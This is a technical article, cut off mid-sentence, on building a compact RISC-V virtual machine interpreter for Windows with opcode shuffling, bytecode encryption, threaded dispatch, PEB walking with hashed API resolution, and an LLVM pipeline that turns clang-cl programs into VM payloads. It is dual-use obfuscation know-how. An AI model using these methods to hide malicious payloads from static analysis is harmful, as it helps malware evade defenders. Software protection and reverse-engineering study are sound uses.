In recent years the interest in obfuscation has increased, mainly because people want to protect their intellectual property. Unfortunately, most of what’s been written is focused on the theoretical aspects. In this article, we will discuss the practical engineering challenges of developing a low-footprint virtual machine interpreter. The VM is easily embeddable, built on open-source technology and has various hardening features that were achieved with minimal effort.
In addition to protecting intellectual property, a minimal virtual machine can be useful for other reasons. You might want to have an embeddable interpreter to execute business logic (shellcode), without having to deal with RWX memory. It can also be useful as an educational tool, or just for fun.
Creating a custom VM architecture (similar to VMProtect/Themida) means that we would have to deal with binary rewriting/lifting or write our own compiler. Instead, we decided to use a preexisting architecture, which would be supported by LLVM: RISC-V. This architecture is already widely used for educational purposes and has the advantage of being very simple to understand and implement.
Initially, the main contender was WebAssembly. However, existing interpreters were very bloated and would also require dealing with a binary format. Additionally, it looks like WASM64 is very underdeveloped and our memory model requires 64-bit pointer support. SPARC and PowerPC were also considered, but RISC-V seems to be more popular and there are a lot more resources available for it.
WebAssembly was designed for sandboxing and therefore strictly separates guest and host memory. Because we will be writing our own RISC-V interpreter, we chose to instead share memory between the guest and the host. This means that pointers in the RISC-V execution context (the guest) are valid in the host process and vice-versa.
As a result, the instructions responsible for reading/writing memory can be implemented as a simple memcpy
call and we do not need additional code to translate/validate memory accesses (which helps with our goal of small code size). With this property, we need to implement only two system calls to perform arbitrary operations in the host process:
uintptr_t riscvm_get_peb();
uintptr_t riscvm_host_call(uintptr_t rip, uintptr_t args[13]);
The riscvm_get_peb
is Windows-specific and it allows us to resolve exports, which we can then pass to the riscvm_host_call
function to execute arbitrary code. Additionally, an optional host_syscall
stub could be implemented, but this is not strictly necessary since we can just call the functions in ntdll.dll
instead.
To keep the interpreter footprint as low as possible, we decided to develop a toolchain that outputs a freestanding binary. The goal is to copy this binary into memory and point the VM’s program counter there to start execution. Because we are in freestanding mode, there is no C runtime available to us, this requires us to handle initialization ourselves.
As an example, we will use the following hello.c
file:
int _start() {
int result = 0;
for(int i = 0; i < 52; i++) {
result += *(volatile int*)&i;
}
return result + 11;
}
We compile the program with the following incantation:
clang -target riscv64 -march=rv64im -mcmodel=medany -Os -c hello.c -o hello.o
And then verify by disassembling the object:
$ llvm-objdump --disassemble hello.o
hello.o: file format elf64-littleriscv
0000000000000000 <_start>:
0: 13 01 01 ff addi sp, sp, -16
4: 13 05 00 00 li a0, 0
8: 23 26 01 00 sw zero, 12(sp)
c: 93 05 30 03 li a1, 51
0000000000000010 <.LBB0_1>:
10: 03 26 c1 00 lw a2, 12(sp)
14: 33 05 a6 00 add a0, a2, a0
18: 9b 06 16 00 addiw a3, a2, 1
1c: 23 26 d1 00 sw a3, 12(sp)
20: 63 40 b6 00 blt a2, a1, 0x20 <.LBB0_1+0x10>
24: 1b 05 b5 00 addiw a0, a0, 11
28: 13 01 01 01 addi sp, sp, 16
2c: 67 80 00 00 ret
The hello.o
is a regular ELF object file. To get a freestanding binary we need to invoke the linker with a linker script:
ENTRY(_start)
LINK_BASE = 0x8000000;
SECTIONS
{
. = LINK_BASE;
__base = .;
.text : ALIGN(16) {
. = LINK_BASE;
*(.text)
*(.text.*)
}
.data : {
*(.rodata)
*(.rodata.*)
*(.data)
*(.data.*)
*(.eh_frame)
}
.init : {
__init_array_start = .;
*(.init_array)
__init_array_end = .;
}
.bss : {
*(.bss)
*(.bss.*)
*(.sbss)
*(.sbss.*)
}
.relocs : {
. = . + SIZEOF(.bss);
__relocs_start = .;
}
}
This script is the result of an excessive amount of swearing and experimentation. The format is .name : { ... }
where .name
is the destination section and the stuff in the brackets is the content to paste in there. The special .
operator is used to refer to the current position in the binary and we define a few special symbols for use by the runtime:
Symbol | Meaning |
---|---|
__base |
Base of the executable. |
__init_array_start |
Start of the C++ init arrays. |
__init_array_end |
End of the C++ init arrays. |
__relocs_start |
Start of the relocations (end of the binary). |
These symbols are declared as extern
in the C code and they will be resolved at link-time. While it may seem confusing at first that we have a destination section, it starts to make sense once you realize the linker has to output a regular ELF executable. That ELF executable is then passed to llvm-objcopy
to create the freestanding binary blob. This makes debugging a whole lot easier (because we get DWARF symbols) and since we will not implement an ELF loader, it also allows us to extract the relocations for embedding into the final binary.
To link the intermediate ELF executable and then create the freestanding hello.pre.bin
:
ld.lld.exe -o hello.elf --oformat=elf -emit-relocs -T ..\lib\linker.ld --Map=hello.map hello.o
llvm-objcopy -O binary hello.elf hello.pre.bin
For debugging purposes we also output hello.map
, which tells us exactly where the linker put the code/data:
VMA LMA Size Align Out In Symbol
0 0 0 1 LINK_BASE = 0x8000000
0 0 8000000 1 . = LINK_BASE
8000000 0 0 1 __base = .
8000000 8000000 30 16 .text
8000000 8000000 0 1 . = LINK_BASE
8000000 8000000 30 4 hello.o:(.text)
8000000 8000000 30 1 _start
8000010 8000010 0 1 .LBB0_1
8000030 8000030 0 1 .init
8000030 8000030 0 1 __init_array_start = .
8000030 8000030 0 1 __init_array_end = .
8000030 8000030 0 1 .relocs
8000030 8000030 0 1 . = . + SIZEOF ( .bss )
8000030 8000030 0 1 __relocs_start = .
0 0 18 8 .rela.text
0 0 18 8 hello.o:(.rela.text)
0 0 3b 1 .comment
0 0 3b 1 <internal>:(.comment)
0 0 30 1 .riscv.attributes
0 0 30 1 <internal>:(.riscv.attributes)
0 0 108 8 .symtab
0 0 108 8 <internal>:(.symtab)
0 0 55 1 .shstrtab
0 0 55 1 <internal>:(.shstrtab)
0 0 5c 1 .strtab
0 0 5c 1 <internal>:(.strtab)
The final ingredient of the toolchain is a small Python script (relocs.py
) that extracts the relocations from the ELF file and appends them to the end of the hello.pre.bin
. The custom relocation format only supports R_RISCV_64
and is resolved by our CRT like so:
typedef struct
{
uint8_t type;
uint32_t offset;
int64_t addend;
} __attribute__((packed)) Relocation;
extern uint8_t __base[];
extern uint8_t __relocs_start[];
#define LINK_BASE 0x8000000
#define R_RISCV_NONE 0
#define R_RISCV_64 2
static __attribute((noinline)) void riscvm_relocs()
{
if (*(uint32_t*)__relocs_start != 'ALER')
{
asm volatile("ebreak");
}
uintptr_t load_base = (uintptr_t)__base;
for (Relocation* itr = (Relocation*)(__relocs_start + sizeof(uint32_t)); itr->type != R_RISCV_NONE; itr++)
{
if (itr->type == R_RISCV_64)
{
uint64_t* ptr = (uint64_t*)((uintptr_t)itr->offset - LINK_BASE + load_base);
*ptr -= LINK_BASE;
*ptr += load_base;
}
else
{
asm volatile("ebreak");
}
}
}
As you can see, the __base
and __relocs_start
magic symbols are used here. The only reason this works is the -mcmodel=medany
we used when compiling the object. You can find more details in this article and in the RISC-V ELF Specification. In short, this flag allows the compiler to assume that all code will be emitted in a 2 GiB address range, which allows more liberal PC-relative addressing. The R_RISCV_64
relocation type gets emitted when you put pointers in the .data
section:
void* functions[] = {
&function1,
&function2,
};
This also happens when using vtables in C++, and we wanted to support these properly early on, instead of having to fight with horrifying bugs later.
The next piece of the CRT involves the handling of the init arrays (which get emitted by global instances of classes that have a constructor):
typedef void (*InitFunction)();
extern InitFunction __init_array_start;
extern InitFunction __init_array_end;
static __attribute((optnone)) void riscvm_init_arrays()
{
for (InitFunction* itr = &__init_array_start; itr != &__init_array_end; itr++)
{
(*itr)();
}
}
Frustratingly, we were not able to get this function to generate correct code without the __attribute__((optnone))
. We suspect this has to do with aliasing assumptions (the start/end can technically refer to the same memory), but we didn’t investigate this further.
Note: the interpreter was initially based on riscvm.c
by edubart. However, we have since completely rewritten it in C++ to better suit our purpose.
Based on the RISC-V Calling Conventions document, we can create an enum
for the 32 registers:
enum RegIndex
{
reg_zero, // always zero (immutable)
reg_ra, // return address
reg_sp, // stack pointer
reg_gp, // global pointer
reg_tp, // thread pointer
reg_t0, // temporary
reg_t1,
reg_t2,
reg_s0, // callee-saved
reg_s1,
reg_a0, // arguments
reg_a1,
reg_a2,
reg_a3,
reg_a4,
reg_a5,
reg_a6,
reg_a7,
reg_s2, // callee-saved
reg_s3,
reg_s4,
reg_s5,
reg_s6,
reg_s7,
reg_s8,
reg_s9,
reg_s10,
reg_s11,
reg_t3, // temporary
reg_t4,
reg_t5,
reg_t6,
};
We just need to add a pc
register and we have the structure to represent the RISC-V CPU state:
struct riscvm
{
int64_t pc;
uint64_t regs[32];
};
It is important to keep in mind that the zero
register is always set to 0
and we have to prevent writes to it by using a macro:
#define reg_write(idx, value) \
do \
{ \
if (LIKELY(idx != reg_zero)) \
{ \
self->regs[idx] = value; \
} \
} while (0)
The instructions (ignoring the optional compression extension) are always 32-bits in length and can be cleanly expressed as a union:
union Instruction
{
struct
{
uint32_t compressed_flags : 2;
uint32_t opcode : 5;
uint32_t : 25;
};
struct
{
uint32_t opcode : 7;
uint32_t rd : 5;
uint32_t funct3 : 3;
uint32_t rs1 : 5;
uint32_t rs2 : 5;
uint32_t funct7 : 7;
} rtype;
struct
{
uint32_t opcode : 7;
uint32_t rd : 5;
uint32_t funct3 : 3;
uint32_t rs1 : 5;
uint32_t rs2 : 5;
uint32_t shamt : 1;
uint32_t imm : 6;
} rwtype;
struct
{
uint32_t opcode : 7;
uint32_t rd : 5;
uint32_t funct3 : 3;
uint32_t rs1 : 5;
uint32_t imm : 12;
} itype;
struct
{
uint32_t opcode : 7;
uint32_t rd : 5;
uint32_t imm : 20;
} utype;
struct
{
uint32_t opcode : 7;
uint32_t rd : 5;
uint32_t imm12 : 8;
uint32_t imm11 : 1;
uint32_t imm1 : 10;
uint32_t imm20 : 1;
} ujtype;
struct
{
uint32_t opcode : 7;
uint32_t imm5 : 5;
uint32_t funct3 : 3;
uint32_t rs1 : 5;
uint32_t rs2 : 5;
uint32_t imm7 : 7;
} stype;
struct
{
uint32_t opcode : 7;
uint32_t imm_11 : 1;
uint32_t imm_1_4 : 4;
uint32_t funct3 : 3;
uint32_t rs1 : 5;
uint32_t rs2 : 5;
uint32_t imm_5_10 : 6;
uint32_t imm_12 : 1;
} sbtype;
int16_t chunks16[2];
uint32_t bits;
};
static_assert(sizeof(Instruction) == sizeof(uint32_t), "");
There are 13 top-level opcodes (Instruction.opcode
) and some of those opcodes have another field that further specializes the functionality (i.e. Instruction.itype.funct3
). To keep the code readable, the enumerations for the opcode are defined in opcodes.h
. The interpreter is structured to have handler functions for the top-level opcode in the following form:
bool handler_rv64_<opcode>(riscvm_ptr self, Instruction inst);
As an example, we can look at the handler for the lui
instruction (note that the handlers themselves are responsible for updating pc
):
ALWAYS_INLINE static bool handler_rv64_lui(riscvm_ptr self, Instruction inst)
{
int64_t imm = bit_signer(inst.utype.imm, 20) << 12;
reg_write(inst.utype.rd, imm);
self->pc += 4;
dispatch(); // return true;
}
The interpreter executes until one of the handlers returns false
, indicating the CPU has to halt:
void riscvm_run(riscvm_ptr self)
{
while (true)
{
Instruction inst;
inst.bits = *(uint32_t*)self->pc;
if (!riscvm_execute_handler(self, inst))
break;
}
}
Plenty of articles have been written about the semantics of RISC-V, so you can look at the source code if you’re interested in the implementation details of individual instructions. The structure of the interpreter also allows us to easily implement obfuscation features, which we will discuss in the next section.
For now, we will declare the handler functions as __attribute__((always_inline))
and set the -fno-jump-tables
compiler option, which gives us a riscvm_run
function that (comfortably) fits into a single page (0xCA4
bytes):
A regular RISC-V interpreter is fun, but an attacker can easily reverse engineer our payload by throwing it into Ghidra to decompile it. To force the attacker to at least look at our VM interpreter, we implemented a few security features. These features are implemented in a Python script that parses the linker MAP file and directly modifies the opcodes: encrypt.py
.
The most elegant (and likely most effective) obfuscation is to simply reorder the enums of the instruction opcodes and sub-functions. The shuffle.py
script is used to generate shuffled_opcodes.h
, which is then included into riscvm.h
instead of opcodes.h
to mix the opcodes:
#ifdef OPCODE_SHUFFLING
#warning Opcode shuffling enabled
#include "shuffled_opcodes.h"
#else
#include "opcodes.h"
#endif // OPCODE_SHUFFLING
There is also a shuffled_opcodes.json
file generated, which is parsed by encrypt.py
to know how to shuffle the assembled instructions.
Because enums are used for all the opcodes, we only need to recompile the interpreter to obfuscate it; there is no additional complexity cost in the implementation.
To increase diversity between payloads for the same VM instance, we also employ a simple ‘encryption’ scheme on top of the opcode:
ALWAYS_INLINE static uint32_t tetra_twist(uint32_t input)
{
/**
* Custom hash function that is used to generate the encryption key.
* This has strong avalanche properties and is used to ensure that
* small changes in the input result in large changes in the output.
*/
constexpr uint32_t prime1 = 0x9E3779B1; // a large prime number
input ^= input >> 15;
input *= prime1;
input ^= input >> 12;
input *= prime1;
input ^= input >> 4;
input *= prime1;
input ^= input >> 16;
return input;
}
ALWAYS_INLINE static uint32_t transform(uintptr_t offset, uint32_t key)
{
uint32_t key2 = key + offset;
return tetra_twist(key2);
}
ALWAYS_INLINE static uint32_t riscvm_fetch(riscvm_ptr self)
{
uint32_t data;
memcpy(&data, (const void*)self->pc, sizeof(data));
#ifdef CODE_ENCRYPTION
return data ^ transform(self->pc - self->base, self->key);
#else
return data;
#endif // CODE_ENCRYPTION
}
The offset relative to the start of the bytecode is used as the seed to a simple transform
function. The result of this function is XOR’d with the instruction data before decoding. The exact transformation doesn’t really matter, because an attacker can always observe the decrypted bytecode at runtime. However, static analysis becomes more difficult and pattern-matching the payload is prevented, all for a relatively small increase in VM implementation complexity.
It would be possible to encrypt the contents of the .data
section of the payload as well, but we would have to completely decrypt it in memory before starting execution anyway. Technically, it would be also possible to implement a lazy encryption scheme by customizing the riscvm_read
and riscvm_write
functions to intercept reads/writes to the payload region, but this idea was not pursued further.
The most interesting feature of our VM is that we only need to make minor code modifications to turn it into a so-called threaded interpreter. Threaded code is a well-known technique used both to speed up emulators and to introduce indirect branches that complicate reverse engineering. It is called threading because the execution can be visualized as a thread of handlers that directly branch to the next handler. There is no classical dispatch function, with an infinite loop and a switch case for each opcode inside. The performance improves because there are fewer false-positives in the branch predictor when executing threaded code. You can find more information about threaded interpreters in the Dispatch Techniques section of the YETI paper.
The first step is to construct a handler table, where each handler is placed at the index corresponding to each opcode. To do this we use a small snippet of constexpr
C++ code:
typedef bool (*riscvm_handler_t)(riscvm_ptr, Instruction);
static constexpr std::array<riscvm_handler_t, 32> riscvm_handlers = []
{
// Pre-populate the table with invalid handlers
std::array<riscvm_handler_t, 32> result = {};
for (size_t i = 0; i < result.size(); i++)
{
result[i] = handler_rv64_invalid;
}
// Insert the opcode handlers at the right index
#define INSERT(op) result[op] = HANDLER(op)
INSERT(rv64_load);
INSERT(rv64_fence);
INSERT(rv64_imm64);
INSERT(rv64_auipc);
INSERT(rv64_imm32);
INSERT(rv64_store);
INSERT(rv64_op64);
INSERT(rv64_lui);
INSERT(rv64_op32);
INSERT(rv64_branch);
INSERT(rv64_jalr);
INSERT(rv64_jal);
INSERT(rv64_system);
#undef INSERT
return result;
}();
With the riscvm_handlers
table populated we can define the dispatch
macro:
#define dispatch() \
Instruction next; \
next.bits = riscvm_fetch(self); \
if (next.compressed_flags != 0b11) \
{ \
panic("compressed instructions not supported!"); \
} \
__attribute__((musttail)) return riscvm_handlers[next.opcode](self, next)
The musttail
attribute forces the call to the next handler to be a tail call. This is only possible because all the handlers have the same function signature and it generates an indirect branch to the next handler:
The final piece of the puzzle is the new implementation of the riscvm_run
function, which uses an empty riscvm_execute
handler to bootstrap the chain of execution:
ALWAYS_INLINE static bool riscvm_execute(riscvm_ptr self, Instruction inst)
{
dispatch();
}
NEVER_INLINE void riscvm_run(riscvm_ptr self)
{
Instruction inst;
riscvm_execute(self, inst);
}
The built-in hardening features that we can get with a few #ifdefs
and a small Python script are good enough for a proof-of-concept, but they are not going to deter a determined attacker for a very long time. An attacker can pattern-match the VM’s handlers to simplify future reverse engineering efforts. To address this, we can employ common obfuscation techniques using LLVM obfuscation passes:
The paper Modern obfuscation techniques by Roman Oravec gives a nice overview of literature and has good data on what obfuscation passes are most effective considering their runtime overhead.
Additionally, it would also be possible to further enhance the VM’s security by duplicating handlers, but this would require extra post-processing on the payload itself. The VM itself is only part of what could be obfuscated. Obfuscating the payloads themselves is also something we can do quite easily. Most likely, manually-integrated security features (stack strings with xorstr, lazy_importer and variable encryption) will be most valuable here. However, because we use LLVM to build the payloads we can also employ automated obfuscation there. It is important to keep in mind that any overhead created in the payloads themselves is multiplied by the overhead created by the handler obfuscation, so experimentation is required to find the sweet spot for your use case.
The VM described in this post so far technically has the ability to execute arbitrary code. That being said, it would be rather annoying for an end-user to write said code. For example, we would have to manually resolve all imports and then use the riscvm_host_call
function to actually execute them. These functions are executing in the RISC-V context and their implementation looks like this:
uintptr_t riscvm_host_call(uintptr_t address, uintptr_t args[13])
{
register uintptr_t a0 asm("a0") = address;
register uintptr_t a1 asm("a1") = (uintptr_t)args;
register uintptr_t a7 asm("a7") = 20000;
asm volatile("scall" : "+r"(a0) : "r"(a1), "r"(a7));
return a0;
}
uintptr_t riscvm_get_peb()
{
register uintptr_t a0 asm("a0") = 0;
register uintptr_t a7 asm("a7") = 20001;
asm volatile("scall" : "+r"(a0) : "r"(a7) : "memory");
return a0;
}
We can get a pointer to the PEB
using riscvm_get_peb
and then resolve a module by its’ x65599 hash:
// Structure definitions omitted for clarity
uintptr_t riscvm_resolve_dll(uint32_t module_hash)
{
static PEB* peb = 0;
if (!peb)
{
peb = (PEB*)riscvm_get_peb();
}
LIST_ENTRY* begin = &peb->Ldr->InLoadOrderModuleList;
for (LIST_ENTRY* itr = begin->Flink; itr != begin; itr = itr->Flink)
{
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(itr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (entry->BaseNameHashValue == module_hash)
{
return (uintptr_t)entry->DllBase;
}
}
return 0;
}
Once we’ve obtained the base of the module we’re interested in, we can resolve the import by walking the export table:
uintptr_t riscvm_resolve_import(uintptr_t image, uint32_t export_hash)
{
IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)image;
IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)(image + dos_header->e_lfanew);
uint32_t export_dir_size = nt_headers->OptionalHeader.DataDirectory[0].Size;
IMAGE_EXPORT_DIRECTORY* export_dir =
(IMAGE_EXPORT_DIRECTORY*)(image + nt_headers->OptionalHeader.DataDirectory[0].VirtualAddress);
uint32_t* names = (uint32_t*)(image + export_dir->AddressOfNames);
uint32_t* funcs = (uint32_t*)(image + export_dir->AddressOfFunctions);
uint16_t* ords = (uint16_t*)(image + export_dir->AddressOfNameOrdinals);
for (uint32_t i = 0; i < export_dir->NumberOfNames; ++i)
{
char* name = (char*)(image + names[i]);
uintptr_t func = (uintptr_t)(image + funcs[ords[i]]);
// Ignore forwarded exports
if (func >= (uintptr_t)export_dir && func < (uintptr_t)export_dir + export_dir_size)
continue;
uint32_t hash = hash_x65599(name, true);
if (hash == export_hash)
{
return func;
}
}
return 0;
}
Now we can call MessageBoxA
from RISC-V with the following code:
// NOTE: We cannot use Windows.h here
#include <stdint.h>
int main()
{
// Resolve LoadLibraryA
auto kernel32_dll = riscvm_resolve_dll(hash_x65599("kernel32.dll", false))
auto LoadLibraryA = riscvm_resolve_import(kernel32_dll, hash_x65599("LoadLibraryA", true))
// Load user32.dll
uint64_t args[13];
args[0] = (uint64_t)"user32.dll";
auto user32_dll = riscvm_host_call(LoadLibraryA, args);
// Resolve MessageBoxA
auto MessageBoxA = riscvm_resolve_import(user32_dll, hash_x65599("MessageBoxA", true));
// Show a message to the user
args[0] = 0; // hwnd
args[1] = (uint64_t)"Hello from RISC-V!"; // msg
args[2] = (uint64_t)"riscvm"; // title
args[3] = 0; // flags
riscvm_host_call(MessageBoxA, args);
}
With some templates/macros/constexpr tricks we can probably get this down to something more readable, but fundamentally this code will always stay annoying to write. Even if calling imports were a one-liner, we would still have to deal with the fact that we cannot use Windows.h
(or any of the Microsoft headers for that matter). The reason for this is that we are cross-compiling with Clang. Even if we were to set up the include paths correctly, it would still be a major pain to get everything to compile correctly. That being said, our VM works! A major advantage of RISC-V is that, since the instruction set is simple, once the fundamentals work, we can be confident that features built on top of this will execute as expected.
Usually, when discussing LLVM, the compilation process is running on Linux/macOS. In this section, we will describe a pipeline that can actually be used on Windows, without making modifications to your toolchain. This is useful if you would like to analyze/fuzz/obfuscate Windows applications, which might only compile an MSVC-compatible compiler: clang-cl
.
Without LTO, the object files produced by Clang are native COFF/ELF/Mach-O files. Every file is optimized and compiled independently. The linker loads these objects and merges them together into the final executable.
When enabling LTO, the object files are instead LLVM Bitcode (.bc
) files. This allows the linker to merge all the LLVM IR together and perform (more comprehensive) whole-program optimizations. After the LLVM IR has been optimized, the native code is generated and the final executable produced. The diagram below comes from the great Link-time optimisation (LTO) post by Ryan Stinnet:
Unfortunately, it can be quite annoying to write an executable that can replace the compiler. It is quite simple when dealing with a few object files, but with bigger projects it gets quite tricky (especially when CMake is involved). Existing projects are WLLVM and gllvm, but they do not work nicely on Windows. When using CMake, you can use the CMAKE_<LANG>_COMPILER_LAUNCHER
variables and intercept the compilation pipeline that way, but that is also tricky to deal with.
On Windows, things are more complex than on Linux. This is because Clang uses a different program to link the final executable and correctly intercepting this process can become quite challenging.
To achieve our goal of post-processing the bitcode of the whole program, we need to enable bitcode embedding. The first flag we need is -flto
, which enables LTO. The second flag is -lto-embed-bitcode
, which isn’t documented very well. When using clang-cl
, you also need a special incantation to enable it:
set(EMBED_TYPE "post-merge-pre-opt") # post-merge-pre-opt/optimized
if(NOT CMAKE_CXX_COMPILER_ID MATCHES "Clang")
if(WIN32)
message(FATAL_ERROR "clang-cl is required, use -T ClangCL --fresh")
else()
message(FATAL_ERROR "clang compiler is required")
endif()
elseif(CMAKE_CXX_COMPILER_FRONTEND_VARIANT MATCHES "^MSVC$")
# clang-cl
add_compile_options(-flto)
add_link_options(/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
elseif(WIN32)
# clang (Windows)
add_compile_options(-fuse-ld=lld-link -flto)
add_link_options(-Wl,/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
else()
# clang (Linux)
add_compile_options(-fuse-ld=lld -flto)
add_link_options(-Wl,-lto-embed-bitcode=${EMBED_TYPE})
endif()
The -lto-embed-bitcode
flag creates an additional .llvmbc
section in the final executable that contains the bitcode. It offers three settings:
-lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO
=none - Do not embed
=optimized - Embed after all optimization passes
=post-merge-pre-opt - Embed post merge, but before optimizations
Once the bitcode is embedded within the output binary, it can be extracted using llvm-objcopy and disassembled with llvm-dis. This is normally done as the follows:
llvm-objcopy --dump-section=.llvmbc=program.bc program
llvm-dis program.bc > program.ll
Unfortunately, we discovered a bug/oversight in LLD on Windows. The section is extracted without errors, but llvm-dis
fails to load the bitcode. The reason for this is that Windows executables have a FileAlignment
attribute, leading to additional padding with zeroes. To get valid bitcode, you need to remove some of these trailing zeroes:
import argparse
import sys
import pefile
def main():
# Parse the arguments
parser = argparse.ArgumentParser()
parser.add_argument("executable", help="Executable with embedded .llvmbc section")
parser.add_argument("--output", "-o", help="Output file name", required=True)
args = parser.parse_args()
executable: str = args.executable
output: str = args.output
# Find the .llvmbc section
pe = pefile.PE(executable)
llvmbc = None
for section in pe.sections:
if section.Name.decode("utf-8").strip("\x00") == ".llvmbc":
llvmbc = section
break
if llvmbc is None:
print("No .llvmbc section found")
sys.exit(1)
# Recover the bitcode and write it to a file
with open(output, "wb") as f:
data = bytearray(llvmbc.get_data())
# Truncate all trailing null bytes
while data[-1] == 0:
data.pop()
# Recover alignment to 4
while len(data) % 4 != 0:
data.append(0)
# Add a block end marker
for _ in range(4):
data.append(0)
f.write(data)
if __name__ == "__main__":
main()
In our testing, this doesn’t have any issues, but there might be cases where this heuristic does not work properly. In that case, a potential solution could be to brute force the amount of trailing zeroes, until the bitcode parses without errors.
Now that we have access to our program’s bitcode, several applications become feasible:
The bitcode itself unfortunately does not contain enough information to re-link the executable (although this is something we would like to implement upstream). We could either manually attempt to reconstruct the linker command line (with tools like Process Monitor), or use LLVM plugin support. Plugin support is not really functional on Windows (although there is some indication that Sony is using it for their PS4/PS5 toolchain), but we can still load an arbitrary DLL using the -load
command line flag. Once we loaded our DLL, we can hijack the executable command line and process the flags to generate a script for re-linking the program after our modifications are done.
Ideally, we would want to write code like this and magically get it to run in our VM:
#include <Windows.h>
int main()
{
MessageBoxA(0, "Hello from RISC-V!", "riscvm", 0);
}
Luckily this is entirely possible, it just requires writing a (fairly) simple tool to perform transformations on the Bitcode of this program (built using clang-cl
). In the coming sections, we will describe how we managed to do this using Microsoft Visual Studio’s official LLVM integration (i.e. without having to use a custom fork of clang-cl
).
The LLVM IR of the example above looks roughly like this (it has been cleaned up slightly for readability):
source_filename = "hello.c"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.38.33133"
@message = dso_local global [19 x i8] c"Hello from RISC-V!\00", align 16
@title = dso_local global [7 x i8] c"riscvm\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = call i32 @MessageBoxA(ptr noundef null, ptr noundef @message, ptr noundef @title, i32 noundef 0)
ret i32 0
}
declare dllimport i32 @MessageBoxA(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.linker.options = !{!0, !0}
!llvm.module.flags = !{!1, !2, !3}
!llvm.ident = !{!4}
!0 = !{!"/DEFAULTLIB:uuid.lib"}
!1 = !{i32 1, !"wchar_size", i32 2}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 16.0.5"}
To retarget this code to RISC-V, we need to do the following:
dllimport
storage class.riscvm_imports
function that resolves all the function addresses of the imports.dllimport
functions with stubs that use riscvm_host_call
to call the import.riscv64-unknown-unknown
and adjust the data layout.crt0
to create the final payload.After loading the LLVM IR Module
, the first step is to change the DataLayout
and the TargetTriple
to be what the RISC-V backend expects:
module.setDataLayout("e-m:e-p:64:64-i64:64-i128:128-n32:64-S128");
module.setTargetTriple("riscv64-unknown-unknown");
module.setSourceFileName("transpiled.bc");
The next step is to collect all the dllimport
functions for later processing. Additionally, a bunch of x86-specific function attributes are removed from every function:
std::vector<Function*> importedFunctions;
for (Function& function : module.functions())
{
// Remove x86-specific function attributes
function.removeFnAttr("target-cpu");
function.removeFnAttr("target-features");
function.removeFnAttr("tune-cpu");
function.removeFnAttr("stack-protector-buffer-size");
// Collect imported functions
if (function.hasDLLImportStorageClass() && !function.getName().startswith("riscvm_"))
{
importedFunctions.push_back(&function);
}
function.setDLLStorageClass(GlobalValue::DefaultStorageClass);
Finally, we have to remove the llvm.linker.options
metadata to make sure we can pass the IR to llc
or clang
without errors.
The LLVM IR only has the dllimport
storage class to inform us that a function is imported. Unfortunately, it does not provide us with the DLL the function comes from. Because this information is only available at link-time (in files like user32.lib
), we decided to implement an extra -importmap
argument.
The extract-bc
script that extracts the .llvmbc
section now also has to extract the imported functions and what DLL they come from:
with open(importmap, "wb") as f:
for desc in pe.DIRECTORY_ENTRY_IMPORT:
dll = desc.dll.decode("utf-8")
for imp in desc.imports:
name = imp.name.decode("utf-8")
f.write(f"{name}:{dll}\n".encode("utf-8"))
Currently, imports by ordinal and API sets are not supported, but we can easily make sure those do not occur when building our code.
For every dllimport
function, we need to add some IR to riscvm_imports
to resolve the address. Additionally, we have to create a stub that forwards the function arguments to riscvm_host_call
. This is the generated LLVM IR for the MessageBoxA
stub:
; Global variable to hold the resolved import address
@import_MessageBoxA = private global ptr null
define i32 @MessageBoxA(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #1 {
entry:
%args = alloca ptr, i32 13, align 8
%arg3_zext = zext i32 %3 to i64
%arg3_cast = inttoptr i64 %arg3_zext to ptr
%import_address = load ptr, ptr @import_MessageBoxA, align 8
%arg0_ptr = getelementptr ptr, ptr %args, i32 0
store ptr %0, ptr %arg0_ptr, align 8
%arg1_ptr = getelementptr ptr, ptr %args, i32 1
store ptr %1, ptr %arg1_ptr, align 8
%arg2_ptr = getelementptr ptr, ptr %args, i32 2
store ptr %2, ptr %arg2_ptr, align 8
%arg3_ptr = getelementptr ptr, ptr %args, i32 3
store ptr %arg3_cast, ptr %arg3_ptr, align 8
%return = call ptr @riscvm_host_call(ptr %import_address, ptr %args)
%return_cast = ptrtoint ptr %return to i64
%return_trunc = trunc i64 %return_cast to i32
ret i32 %return_trunc
}
The uint64_t args[13]
array is allocated on the stack using the alloca
instruction and every function argument is stored in there (after being zero-extended). The GlobalVariable
named import_MessageBoxA
is read and finally riscvm_host_call
is executed to call the import on the host side. The return value is truncated as appropriate and returned from the stub.
The LLVM IR for the generated riscvm_imports
function looks like this:
; Global string for LoadLibraryA
@str_USER32.dll = private constant [11 x i8] c"USER32.dll\00"
define void @riscvm_imports() {
entry:
%args = alloca ptr, i32 13, align 8
%kernel32.dll_base = call ptr @riscvm_resolve_dll(i32 1399641682)
%import_LoadLibraryA = call ptr @riscvm_resolve_import(ptr %kernel32.dll_base, i32 -550781972)
%arg0_ptr = getelementptr ptr, ptr %args, i32 0
store ptr @str_USER32.dll, ptr %arg0_ptr, align 8
%USER32.dll_base = call ptr @riscvm_host_call(ptr %import_LoadLibraryA, ptr %args)
%import_MessageBoxA = call ptr @riscvm_resolve_import(ptr %USER32.dll_base, i32 -50902915)
store ptr %import_MessageBoxA, ptr @import_MessageBoxA, align 8
ret void
}
The resolving itself uses the riscvm_resolve_dll
and riscvm_resolve_import
